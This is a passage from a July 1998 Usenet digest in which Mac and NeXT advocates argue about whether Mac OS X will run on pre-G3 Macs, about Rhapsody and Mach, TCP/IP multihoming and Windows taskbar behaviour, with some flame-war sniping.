7500? 6100? 7200? 6400?). The project balloons into another Copland
fiasco. Apple starts to lose money again and their new found credibility
dries up.
2. Apple says that the initial release will be G3 only, but that they'll
work on earlier Macs later. By the time they get Mac OS X out the door and
Sonata, they pre-G3 Mac OS X slips by 1-2 years. By then, the affected
computers are > 3-4 years old. What's the point.
3. Apple promises support for G3 machines, but after 2 years finds that
not enough people are interested in it to finish the work. Apple drops the
project and promptly gets sued by consumers for fraud.
4. Apple promises support for pre-G3 Macs by next spring and makes every
effort to deliver. This would undoubtedly be ideal, but Apple has said it
can't be done. Unless you have some evidence that it can be done, you have
to rely on their word. No one in this group knows what's happening at
Apple as well as Apple does.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 29 Jul 1998 09:05:12 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2907980905120001@wil64.dol.net>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <35b537c1.0@news.depaul.edu> <35BE06FD.CE0719A6@earthlink.net>
In article <35BE06FD.CE0719A6@earthlink.net>, jontemple@earthlink.net wrote:
> Jonathan W Hendry wrote:
>
> > In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
> >
> > > Are you suggesting that it is harder to test MacOS X for Pre-G3 Macs than
> > > it is to test MacOS 8.x for the 68040, NuBux, Pre-G3 and G3 Macs?
> >
> > MacOS X is a new OS. OS 8.x was an incremental change. Huge difference.
> > Especially if the model-specific patches in MacOS won't work on
> > OSX.
>
> Mac OS X is NOT a new OS: It is an incremental change over Rhapsody 1.0, now
> called MacOS X Server.
This must be at least the 6th or 7th time you've said this. Do you have
some delusion that if you say it enough times it will magically become
true?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 29 Jul 1998 08:54:11 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2907980854110001@wil64.dol.net>
References: <joe.ragosta-2807981306530001@wil53.dol.net> <B1E3BF15-4B7AA@206.165.43.1>
In article <B1E3BF15-4B7AA@206.165.43.1>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >New kernel
>
> They knew for over a year (almost from the NeXT purchase) that a new kernel
> would be in the works. Wasn't NeXT/OpenStep supposed to go to a new kernel
> even before NeXT was sold to Apple?
So? The point was that Jon Temple said that Mac OS X was nothing more than
a warmed over Rhapsody. He was wrong because the kernel is different--no
matter how long they've known that they might change it.
>
> >New graphics system
>
> Not really. The X graphics system is merely the underlying graphics engine
> of DPS without the language.
Still, it's a different engine and different system. In fact, I thought
the whole thing was going to be based on PDF instead of DPS.
>
> >New driver model
>
> I thought that drivers were trivial to do with NeXT?
Possibly. But it's still an example where Mac OS X differs from Rhapsody.
>
> >New set of Carbon APIs
>
> Based, for the most part, on services that the kernel will provide, or so I
> glean from the various diagrams and white papers floating around.
So? Do you think it's trivial to add a complete set of APIs to a system
and then test them thoroughly?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 29 Jul 1998 09:14:34 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-2907980914340001@wil64.dol.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net> <35BCA708.7440433@intel.com> <joe.ragosta-2707981311490001@wil76.dol.net> <6pk34k$9gu$1@nntp2.ba.best.com> <joe.ragosta-2807980907490001@wil43.dol.net> <MPG.10284cf7951f302b989a3d@news.supernews.com>
In article <MPG.10284cf7951f302b989a3d@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> All of the TCP/IP communication is taking place over the PPP connection.
>
> If you have a TCP/IP intranet (without connection to the Internet) and
> also have a modem that allows you to dial into TCP/IP for the Internet,
> you've got to choose one or the other. You can't have your ftp client
> downloading files via the PPP dialup while you are checking your email on
> a server on the Intranet via Ethernet. You have to set TCP/IP up for one
> or the other.
This isn't entirely true.
In our case, we have an e-mail server using TCP/IP. I can check my e-mail
on the server while connectedto the internet by PPP.
I don't know if there's some trick where the e-mail software bypasses the
TCP/IP control panel or something, but it works on my PowerMac 7500.
>
> Granted, with Open Transport, it's very easy to set up different
> configurations and switch between them (and on a laptop, you can use
> Location Manager to change many settings at once).
>
> Windows doesn't have this sort of easy switching between configurations
> without a third party utility. But, it does let you use TCP
> simultaneously with dial-up and local network. The feature is called
> "multi-homing", I believe.
>
> Donald
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 29 Jul 1998 09:06:55 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2907980906550001@wil64.dol.net>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net> <35BE0653.4865BF1E@earthlink.net>
In article <35BE0653.4865BF1E@earthlink.net>, jontemple@earthlink.net wrote:
> MacOS X uses the same kernel as that used by MkLinux --- Mach 3.0. This
runs on
> ALL PowerMacs, including NuBus.
True. but MkLinux doesn't have Yellow Box, Blue Box, PDF, or the Rhapsody
IOkit model. So it's irrelevant to this discussion.
>
> The statement that OS X uses an "entirely new driver architecture" is
> questionable. OS X will be basically what Rhapsody is now --- Mach
kernel with
> BSD 4.4 UNIX layer. In fact, everything that Apple wants to add to OS X
already
> runs on PCI Macs.
Not true. Try IOkit, PDF graphcs, and Carbon just for starters.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 29 Jul 1998 09:16:32 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-2907980916330001@wil64.dol.net>
References: <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <35beabe0.19780813@10.1.1.9>
In article <35beabe0.19780813@10.1.1.9>, davexl@ozramp.net.au.despam-me!
(davexl) wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> >In article <6p9acg$o8n$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> >
> >> In article <Josh.McKee-2307981810170001@pm3a8.rmac.net>,
> >> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> >>
> >> > You see, Windows 95 has all the buzzwords, but the implementation of them
> >> > nullifies the results.
> >>
> >> It reduces the results. It is still better than the MacOS.
> >
> >In what way? Please be specific with unbiased evidence to back up your claim.
> >
> >Oh, you don't have any evidence? I didn't think so.
>
> Printing from Photoshop on Mac.
> Load up contact manager.
> Print never comes out.
> Realise problem - close contact manager.
> Photoshop gets cpu back and finishes print.
What contact manager are you using? In my 14 or so years of Mac
experience, I have _never_ seen anything like that.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Window Shade: *please* make this go away
Date: Wed, 29 Jul 1998 23:20:50 +1000
Organization: University of Queensland
Message-ID: <6pn7jt$j83$1@bunyip.cc.uq.edu.au>
References: <6oqr65$ept$1@supernews.com> <stone-ya02408000R1807981951280001@news.enetis.net> <6pktoe$qhd$1@walter.cs.umd.edu> <6pl5bu$dr1$1@nnrp1.dejanews.com> <6pmenb$trv$2@bunyip.cc.uq.edu.au> <6pn5ki$dde$1@nnrp1.dejanews.com>
<spagiola@my-dejanews.com> wrote in message
6pn5ki$dde$1@nnrp1.dejanews.com...
>"Christopher Smith" <drsmithy@usa.net> wrote:
>> <spagiola@my-dejanews.com> wrote in message
>> >The other problem I have with Windows' implementation of [task bars] is
that
>> >the absolute position of various miniaturized windows in the task bar is
>> >constantly shifting as windows are opened and re-miniaturized. A tile
which
>> >might be at far left at one point may be at far right at another. This
>> makes
>> >getting at a given window needlessly difficult, since every time I need
to
>> >scan the entire task bar to find the one I want. Under NeXSTEP, tiles
stay
>> >put (and I can reposition them if I care to) making keeping track of
them
>> >easier.
>>
>> This is incorrect, minimising and restoring windows does not change their
>> order on the taskbar, only closing and re-opening them will do it.
>
>What system are you using?
NT4, NT4+IE4, Win95 and Win98.
>Under W95, if I restore a window that has been
>minimized, any other windows tiles on the task bar that had been to its
right
>moves left to fill the gap.
Gap ? Restoring a window doesn't create a "gap" in the taskbar.
>When I reminimize the window, it adds itself at
>the right of the bar.
I don't know what you're talking about, but I really don't think it's
minimising :\.
If I minimise a window, it just disappears from the screen - the button on
the taskbar doesn't move at all. The *focus* (ie the pushed in button on
the taskbar) will change to the last window that was active before the one
you minimised.
>
>At least, that's what happens under W95. Perhaps the behavior has changed
>under W98?
I just checked it under a Win95b box, Win95b+IE4, Win98, NT4, NT4+IE4 and
NT4+IE5 - I couldn't get any of them to do this. I must also say that
having used Win95 since the late betas, and NT4 since about February '96 I
have *never* seen this behaviour, not even as a once-off bug.
Like I said, I dunno what you're doing but it isn't the "standard" minising.
You can get programs like Icon Corral that will remove buttons from the
taskbar when minimised, and when they are maximised again they will go on
the "end" of the list, but there is no functionality like this built into
Windows.
>
>Stefano Pagiola
>
>spagiola@my-dejanews.com
>
>My opinions alone
>
>Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
>Rhapsody user
>
>-----== Posted via Deja News, The Leader in Internet Discussion ==-----
>http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Wed, 29 Jul 1998 09:26:25 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-2907980926260001@wil64.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35BF17D2.C02B6554@earthlink.net>
In article <35BF17D2.C02B6554@earthlink.net>, jontemple@earthlink.net wrote:
> Matt Kennel wrote:
>
> > On Mon, 20 Jul 1998 18:42:58 -0700, Matthew Vaughan wrote:
> > :I totally agree. If a Mac has a PowerPC processor, PCI slots, ADB,
> > :SCSI...what does a G3 Mac have that older Macs lack? If all new G3 Macs
> > :had USB but no ADB or serial, FireWire but no SCSI, 66MHz PCI and AGP, or
> > :whatever, then I'd see the point, but as it is there's really no
> > :distinction between a "G3 PowerMac" and any other PCI PowerMac or
> > :compatible.
> >
> > Yes there is. It's all the low-level board level interface hardware which
> > is different. And the G3 processor is different from previous processors,
> > if you're a kernel engineer.
> >
> > The other issue is why is OSX going to be G3 only whereas the Rhapsody 1.0
> > (aka OSX Server) will support more machines?
> >
> > Because OSX is going to a new kernel: Mach "3.0". (There are many
Mach 3.0's,
> > b.t.w.). The OS coming out this fall is going to be a continuation of
> > the 2.5 line.
>
> Mach 3 already runs on PCI Macs. You are just trying to complicate the
issue by
> suggesting that mysteriously that Apple's Mach kernal will be vastly different
> from the other PPC Mach kernals. It won't be --- it'll be basically the same
> thing, industrial grade no doubt, but the technology involved is the same.
Big deal. Mach runs on PCI Macs. Getting the kernel to run is probably the
easiest part of the job. When you can show Yellow Box and IOkit and Blue
Box and Carbon and PDF running on pre-G3 PCI Macs, you might have an
argument.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 29 Jul 1998 09:31:11 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2907980931120001@wil64.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <joe.ragosta-2707980631070001@elk49.dol.net> <macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net> <slrn6rq9lp.na3.jason@jhste1.dyn.ml.org> <MPG.1027927fcc9f1d52989a2f@news.supernews.com> <6pkn6c$9re$4@lwnws01.ne.highway1.com> <6pl3r3$b4o$1@nnrp1.dejanews.com> <35BE3089.76CC988A@ericsson.com>
In article <35BE3089.76CC988A@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> arlis@iquest.net wrote:
>
> > Do you really feel the minor misattribution Joe made (followed by a
swift and
> > sincere apology), is on an equal plane with being falsely accused of child
> > molesting?
>
> The apology was nonexistent at the time of the misattribution
ROTFLMAO. I suppose _you_ have a time machine to allow you to fix errors
before they happen?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "A. J. LaSalle" <alasalle@ctron.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Wed, 29 Jul 1998 09:35:09 -0400
Organization: Cabletron Systems Inc.
Message-ID: <35BF250D.3B54AFBF@ctron.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.co <35bd8fbd.0@nnrp1.news.uk.psi.net> <6ple2d$ea2@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> Most UNIX boxes are on all the time. :-)
>
> BTW, a colleague just unpacked a new HP Kayak.
> This is a Pentium II 266 MHz tower The booklet says,
> average power consumption (not doing a file transfer) :
> Windows 95 : 32 W
> Windows NT : 45 W
>
> Was wondering why the difference ? Perhaps NT is swapping all the time :-)
>
> -arun gupta
Hmmm, that's really odd. For one thing, NT will stop the cpu
(I forget the x86 instruction) when not processing, of course,
running a screen saver all the time defeats this. So it
must have to do with hard drives not spinning down. NT is
pretty brain dead in terms of using swap when it doesn't need
to. I guess MS is too busy trying to add features to spend
time tuning the internals.
-AJ LaSalle
From: DC <dhba701@NOSPAM*worldnet.att.net>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Will my great old NeXT Apps work on Rhapsody/ OS X? Will my great old NeXT apps work on Rhapsody/ OS X?
Date: 29 Jul 1998 14:07:34 GMT
Organization: http://www.judas-priest.com
Message-ID: <6pnab6$7h9@bgtnsc03.worldnet.att.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <bux-2007981300570001@dial-tulip-20.bway.net> <Josh.McKee-2107981853200001@pm3a15.rmac.net> <joe.ragosta-2207980951060001@wil116.dol.net> <Josh.McKee-2307981818520001@pm3a8.rmac.net> <joe.ragosta-2307982202340001@elk97.dol.net> <Josh.McKee-2307982128320001@pm3a20.rmac.net> <MPG.1022d0677df988199899ed@news.supernews.com> <Josh.McKee-2507980952240001@pm3a23.rmac.net> <MPG.102459a86c0084e0989a04@news.supernews.com> <Josh.McKee-2607980952420001@pm3a6.rmac.net> <MPG.10256a18e0cf88e989a1d@news.supernews.com> <35BE8245.381E@launchnet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: Terry Haggin <terry@launchnet.com>
Terry Haggin wrote:
>
> Hi,
>
> I have a ton on great old NeXT apps on my Cube and would like to know if
> I can run them on Rhapsody or OS X?
>
> Those NeXT apps were the best I have ever used and it is hard to rum the
> on my super but sooooo so old cube. And does anyone have a copy of the
> Developers Rhapsody that they would like to sell/give to me?
>
> I would love to see it work on my Pewforma 6400.
>
> E-mail me or post here, Terry Haggin
Very highly doubt it.
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Wed, 29 Jul 1998 09:24:11 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-2907980924110001@castle.webis.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net> <35BCA708.7440433@intel.com> <joe.ragosta-2707981311490001@wil76.dol.net> <6pk34k$9gu$1@nntp2.ba.best.com> <joe.ragosta-2807980907490001@wil43.dol.net> <MPG.10284cf7951f302b989a3d@news.supernews.com> <id_est-2807982345510001@192.168.1.3>
NNTP-Posting-Date: 29 Jul 1998 14:24:08 GMT
In article <id_est-2807982345510001@192.168.1.3>, id_est@interport.net
(tse_di) wrote:
: There are various programs that will allow multihoming on a Mac but it
: would be nice if the added this to the standard Mac TCP stack.
One problem is the terms used. I hear people using the term "multi-homing"
meaning: 1) I can have TCP/IP going over two interfaces 2) One interface
has multiple IP addresses.
The MacOS has built in #2. It does not support #1 yet.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy
Subject: Re: View from the trenches: Multi-users
Date: Wed, 29 Jul 1998 10:43:28 -0400
Organization: phenix@interpath.com
Message-ID: <1dcxajv.la4tx911248avN@roxboro0-012.dyn.interpath.net>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <MPG.102417abebbe2be9989a03@news.supernews.com> <Josh.McKee-2607980957160001@pm3a6.rmac.net> <6pflms$7mg$1@nnrp02.primenet.com> <6pg7pl$rbn$2@supernews.com> <MPG.1025726544ba37c4989a22@news.supernews.com> <35bbc451.0@news.depaul.edu> <1998072701033400.VAA23503@ladder01.news.aol.com> <6pirnq$os9$1@news.spacelab.net> <6piu3d$ha6$1@cronkite.cygnus.com>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
John Rudd <jrudd@cygnus.com> wrote:
> I can think of one virus (well, virus family) that hits all unix systems
> (as well as every other internet platform). The Goodtimes email meme
> virus, and its family of email/meme viri.
But the Goodtimes virus is beneficial!
--
John Moreno
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 29 Jul 1998 09:42:18 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35BF34CA.FF80FB43@nstar.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <joe.ragosta-2707980631070001@elk49.dol.net> <macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net> <slrn6rq9lp.na3.jason@jhste1.dyn.ml.org> <MPG.1027927fcc9f1d52989a2f@news.supernews.com> <6pkn6c$9re$4@lwnws01.ne.highway1.com> <6pl3r3$b4o$1@nnrp1.dejanews.com> <35BE3089.76CC988A@ericsson.com> <joe.ragosta-2907980931120001@wil64.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 29 Jul 1998 14:52:37 GMT
Joe Ragosta wrote:
> > The apology was nonexistent at the time of the misattribution
>
> ROTFLMAO. I suppose _you_ have a time machine to allow you to fix errors
> before they happen?
I think I like the image of you rolling on the floor; it seems the
appropriate place. At any rate, your apologist included the fact that
you apologized in a rationale for your original behavior. Ironically,
the fact that *you* don't have a time machine is what makes the (later)
apology irrelevant to a discussion of the offense itself.
Swig a beer and think about it really hard. Send me email if it's too
tough, maybe I can explain it some other way. Good luck.
MJP
From: jpolaski@NO.wwa.com (Jim Polaski)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: CompUSA iMac orders stronger than expected
Message-ID: <jpolaski-2907980954020001@d150-233.ce.mediaone.net>
References: <derekc-2907980109260001@as5300-5-59.roc.ny.frontiernet.net> <macghod-2807982355590001@sdn-ar-001casbarp204.dialsprint.net>
Date: Wed, 29 Jul 1998 14:47:36 GMT
NNTP-Posting-Date: Wed, 29 Jul 1998 09:47:36 CDT
Organization: MediaOne Express -=- Central Region
In article <macghod-2807982355590001@sdn-ar-001casbarp204.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <derekc-2907980109260001@as5300-5-59.roc.ny.frontiernet.net>,
> derekc@spamrat.filler.to.remove.frontiernet.net (Derek Currie) wrote:
>
> > but the fact
> > of the matter is that NO PC runs as fast as an iMac, not even a Xeon at
> > over 5X the price. And certainly no PC is as simple. There is a TERRIFIC
> > commercial Apple are going to let loose for the iMac that will prove this
> > fact without a shadow of a doubt. Stay tuned.
> >
> > Smile, Apple is making its mark again.
>
>
> I guess you obviously havent seen the photoshop results?
> Are you trolling or are you serious?
======
And if you're implying that the iMac has disappointing results with
photoshop, you'd probably also be disapppointed at the results of testing
the new VW bug at Indy against the race cars too.
trolling, trolling over the byteing waves...you are.
--
Regards,
Jim Polaski, jpolaski@NO.wwa.com Remove the "NO." to reply.
Polaski P/D/C, 15 West Hubbard, 4th FL, Chicago,Il 60610
...the measure of a man is what he will do for another man,
knowing he will get nothing in return.
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 29 Jul 1998 09:45:50 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35BF359E.7C991136@nstar.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <joe.ragosta-2707980631070001@elk49.dol.net> <macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net> <slrn6rq9lp.na3.jason@jhste1.dyn.ml.org> <MPG.1027927fcc9f1d52989a2f@news.supernews.com> <6pkn6c$9re$4@lwnws01.ne.highway1.com> <6pl3r3$b4o$1@nnrp1.dejanews.com> <35BE3089.76CC988A@ericsson.com> <6pm4vg$1ud$1@nnrp1.dejanews.com> <6pmbuf$dur$1@lwnws01.ne.highway1.com>
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NNTP-Posting-Date: 29 Jul 1998 14:56:10 GMT
D'oh, this didn't seem to come through on my server.
John Kheit wrote:
>
> arlist@my-dejanews.com wrote:
> > Let me just say that my lawyer has been informed of your defamatory
> > and libelous statement that I am dishonest, and is preparing an
> > ironclad case against you and your entire family, and everyone
> > who has ever had the misfortune to know you.
Did your lawyer laugh? Were you confused when he pulled out a dictionary
and flipped to 'libel' and 'defame'? Don't worry, you're in good
company; most people don't know what they mean.
MJP
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 29 Jul 1998 16:55:16 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6pnd4k$jp6$1@larry.admin.phil.uu.nl>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <35b537c1.0@news.depaul.edu> <35BE06FD.CE0719A6@earthlink.net> <joe.ragosta-2907980905120001@wil64.dol.net>
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Joe:
>>Mac OS X is NOT a new OS: It is an incremental change over
>>Rhapsody 1.0, now called MacOS X Server.
>
>This must be at least the 6th or 7th time you've said this.
>Do you have some delusion that if you say it enough times it
>will magically become true?
This reasoning of "the same name means the same OS, a
different name means a different OS" is a standard trick
Apple uses to delude it's users.
(Apple changes the name of the NeXT's system to Rhapsody, and
magically everyone believes that it therefore will be a
different OS (it isn't: in fact it's exactly the same old
system as NeXT has sold for ages.) They change the name of
Rhapsody to MacOS X Server, and magically everyone assumes it
is almost the same OS as MacOS X will be (it isn't: for one
